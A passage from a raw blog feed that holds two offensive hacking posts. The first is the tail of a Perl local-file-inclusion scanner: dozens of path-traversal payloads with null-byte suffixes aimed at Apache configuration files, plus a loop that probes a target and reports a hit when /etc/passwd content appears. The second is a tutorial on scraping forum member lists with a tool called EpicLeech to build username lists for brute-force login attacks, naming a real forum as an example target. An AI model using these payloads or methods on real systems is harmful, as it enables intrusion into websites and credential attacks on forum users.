'../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../../etc/apache2/httpd.conf%00',&lt;br /&gt;
'/usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../../../usr/local/apache/conf/httpd.conf',&lt;br /&gt;
'/usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../../usr/local/apache/conf/httpd.conf%00',&lt;br /&gt;
'/usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'../../../../../../../../../../../usr/local/apache2/conf/httpd.conf',&lt;br /&gt;
'/usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../usr/local/apache2/conf/httpd.conf%00',&lt;br /&gt;
'../../../../../../../../../../../usr/local/apache2/conf/httpd.conf%00');&lt;br /&gt;
print "&amp;gt;start scaning[...]\n";&lt;br /&gt;
&lt;br /&gt;
foreach $scan(@vuls){&lt;br /&gt;
$url = $link.$scan;&lt;br /&gt;
$request = HTTP::Request-&amp;gt;new(GET=&amp;gt;$url);&lt;br /&gt;
$useragent = LWP::UserAgent-&amp;gt;new();&lt;br /&gt;
$response = $useragent-&amp;gt;request($request);&lt;br /&gt;
if ($response-&amp;gt;is_success &amp;amp;&amp;amp; $response-&amp;gt;content =~ /root:x:/) { $msg = LFI PRESENT!;}&lt;br /&gt;
else { $msg = "Not Found";}&lt;br /&gt;
print "$scaning..........[$msg]\n";&lt;br /&gt;
#EOF&lt;br /&gt;
}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-2094454163405034310?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cAMgV2BcbfNmvTCYUYMDw2YU7oI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cAMgV2BcbfNmvTCYUYMDw2YU7oI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cAMgV2BcbfNmvTCYUYMDw2YU7oI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cAMgV2BcbfNmvTCYUYMDw2YU7oI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/knfHqI3dgGg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/2094454163405034310/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2094454163405034310?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2094454163405034310?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/knfHqI3dgGg/automated-lfirfi-scanning-exploiting.html" title="AUTOMATED LFI/RFI SCANNING &amp; EXPLOITING WITH FIMAP" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>2</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/08/automated-lfirfi-scanning-exploiting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkAMRn89eCp7ImA9WhdRGUQ.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-1674707592118642464</id><published>2011-08-10T11:46:00.000-05:00</published><updated>2011-08-10T11:46:27.160-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-10T11:46:27.160-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="User leecher" /><category scheme="http://www.blogger.com/atom/ns#" term="user leech" /><category scheme="http://www.blogger.com/atom/ns#" term="epic leech username leecher" /><category scheme="http://www.blogger.com/atom/ns#" term="EPIC LEECH" /><category scheme="http://www.blogger.com/atom/ns#" term="epic" /><category scheme="http://www.blogger.com/atom/ns#" term="usernames list" /><category scheme="http://www.blogger.com/atom/ns#" term="usernames" /><category scheme="http://www.blogger.com/atom/ns#" term="Leecher" /><category scheme="http://www.blogger.com/atom/ns#" term="Leech" /><category scheme="http://www.blogger.com/atom/ns#" term="extraction" /><title>CREATING TARGETED USERNAME LISTS WITH EPIC LEECH</title><content type="html">&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Today I am going to show you how to use EpicLeech.EXE to leech username lists from public forums. This tool can be very handy in putting together valid user list for targeted bruteforce attacks, which speeds things up considerably since you are using known usernames instead of bruteforcing both user and pass. It can be a little tricky at first but if you stick with it you can set up new site configurations in very little time. Here goes, try to keep up…&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Pre-requisites:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 38.55pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;EpicLeech.EXE (with a handful of configurations already done for you) which you can download from here: &lt;/span&gt;&lt;a href="http://www.megaupload.com/?d=TUAJDMZJ"&gt;&lt;span style="font-family: Calibri;"&gt;http://www.megaupload.com/?d=TUAJDMZJ&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 38.55pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Target site with publicly available members page (i.e. no login required to view list)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 74.55pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Use Google, try:” inurl:members.php”&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: normal; margin: 0in 0in 0pt 74.55pt; mso-add-space: auto;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;, &amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;Open EpicLeech.EXE p and it should look like this:&lt;/span&gt; &lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img6.imageshack.us/img6/8466/38778977.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="355" naa="true" src="http://img6.imageshack.us/img6/8466/38778977.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;In order to create our own click the “Login Editor” button in the lower right, should open a new window that looks like this one:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img851.imageshack.us/img851/6146/77648902.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="341" naa="true" src="http://img851.imageshack.us/img851/6146/77648902.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Calibri;"&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;This is what we will use to create our own custom template so that we can leech a large username list from our target site. &lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;I should call out that this will only work if you can view the members list of the target website without needing to login. You first need to have a target site in mind that you eventually want to try and bruteforce/dictionary attack to find valid credentials. You can use Google to find them, if you need some quick examples to get you started just type “forum, members list” in Google or use your own creative dork and you will find an endless list of possibilities. Once you have found one you want to use, you will need to open it up in your favorite browser and then click on page 2 of the members list, so we can see how it is sorting the pages. You should find that the URL link will have either “page=” or “st=”.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;We will use this to set the “Sort Option” on the Epic Leech options, just make sure they match how the target site is sorting and you will be fine (it is pretty easy to match up). Here is a quick recap, now that we have some basic info gathered:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;Example Link to Members Page: &lt;a href="http://www.vbulletin.org/forum/memberlist.php"&gt;http://www.vbulletin.org/forum/memberlist.php&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;Example Link to Members Page 2: &lt;a href="http://www.vbulletin.org/forum/memberlist.php?&amp;amp;order=asc&amp;amp;sort=username&amp;amp;page=2"&gt;http://www.vbulletin.org/forum/memberlist.php?&amp;amp;order=asc&amp;amp;sort=username&amp;amp;page=2&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img718.imageshack.us/img718/1548/10182848.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="341" naa="true" src="http://img718.imageshack.us/img718/1548/10182848.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;The “Name” field is optional and is what will show up in the leech options for the profile. The host name is the site we will be targeting. The GET string is the trailing url or directory path to send the requests to. You will need to change the page number at the end to [MPP], so that the tool knows to replace this parameter based on the details provided for Users Per Page and # of Pages when doing the actual leeching. You can pull the info for Users Per Page and the # of Pages fields from the actual website, you might have to do some quick math or possible click the link to go to last page to see how many there actually are. &lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;OK, so that is the basics…now we need to determine the correct parsing options which will tell the EpicLeech.EXE tool how to pull the data from the source code of the pages it is requesting. If you mess this up you will get more than just the user names and it will make it fairly useless to you so make sure you get this part right! You need to go back to your browser opened to the member page from earlier, and make the necessary clicks to view the source code of the page. You will want to take note of at least one username on the page, as we will use “CTRL+F” on the source code page to quickly find that same username in the source code. This will make things a bit easier in determining where we need to identify the proper UNIQUE tags to use. &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img688.imageshack.us/img688/2212/93445644.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="225" naa="true" src="http://img688.imageshack.us/img688/2212/93445644.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;This is the actual code for the username is below, note that the username is “-mk-” that I am focusing on to find the tags to use for parsing.&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;USERNAME CODE FROM EXAMPLE:&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;tr&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;tr&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;align&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="center"&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="alt1Active" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;align&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="left" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;id&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="u34580"&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;href&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="member.php?u=34580"&amp;gt;&lt;/span&gt;&lt;span style="background: lime; color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-highlight: lime;"&gt;-mk-&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;div&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;class&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="smallfont"&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt; &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;style&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="text-decoration:none; color:#000088;" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;href&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="member.php?u=34580" &lt;/span&gt;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;title&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;="No Releases"&amp;gt;&lt;/span&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;Member&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;a&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;div&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;td&lt;/span&gt;&lt;span style="color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; text-indent: -6pt;"&gt;&lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; font-size: 10pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="background: white; line-height: normal; margin: 0in 0in 0pt; 